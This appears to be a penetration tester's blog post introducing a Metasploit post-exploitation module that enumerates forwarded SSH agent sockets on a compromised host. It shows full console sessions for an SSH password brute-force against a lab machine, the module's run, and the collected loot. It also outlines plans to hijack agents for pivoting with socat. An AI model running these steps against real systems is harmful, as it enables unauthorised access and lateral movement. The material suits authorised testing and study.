There are tools out there to help exploit this scenario, the main one I know about is secret-agent but I've been working on integrating this attack into everyone's favourite framework for rapid exploit development, metasploit (MSF).
Right now, I've completed work on an enumeration post module called enum_ssh_agents. This can be used to identify any potential agents being forwarded through a box you've popped with metasploit. Later in this post I've outlined my roadmap for this tool, there's definitely some opportunities but I need to make some more tweaks to the core MSF to allow it.
Here's how to use the post module.
I'll assume you have achieved root access to a box in metasploit and have at least one root level session you can run a post module against. If you're following along at home we can quickly achieve that through the ssh_login auxiliary module. In this scenario our root credentials on debian1 are root/toor:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run
[*] 192.168.1.60:22 SSH - Starting bruteforce
[*] 192.168.1.60:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.60:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.60:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.60:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.60:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Hurrah, session 1 opened. Now we can execute our post module to enumerate any SSH agents which may be available.
msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run
[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[*] Post module execution completed
Great, we've found some and saved the details to loot.
msf post(enum_ssh_agents) > loot
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt
At the moment the module saves details of an agent as a colon delimited entry in a text file:
msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
The roadmap for this module is to develop a way to pivot through the box where we have root and use the ssh-agents to scan/exploit further boxes beyond it. I already have some proof of concept code which can forward the ssh-agent back to our metasploit box for use in the scanning, and using metassh (which rocks btw) I can perform the pivot. The limitation is that the PoC code has to be executed on the root box and it's written in Ruby which isn't always installed.
I'm toying with the idea of rewriting it in Perl as that is nearly always available but that makes me feel a bit wrong. For now, a practical alternative is to upload socat to the root box and forward the agent back that way but the current metasploit ssh modules don't support agent based authentication so I've got that to work on too.
If you want to play around with this yourself you need two things. A version of the metasploit framework which includes my patch to lib/msf/core/post/file.rb and the post module itself. You can get both of these from our Github page at https://github.com/7Elements/metasploit-framework. I've got some polish to add to this before the MSF guys will accept a pull request to the framework but that will be done soon.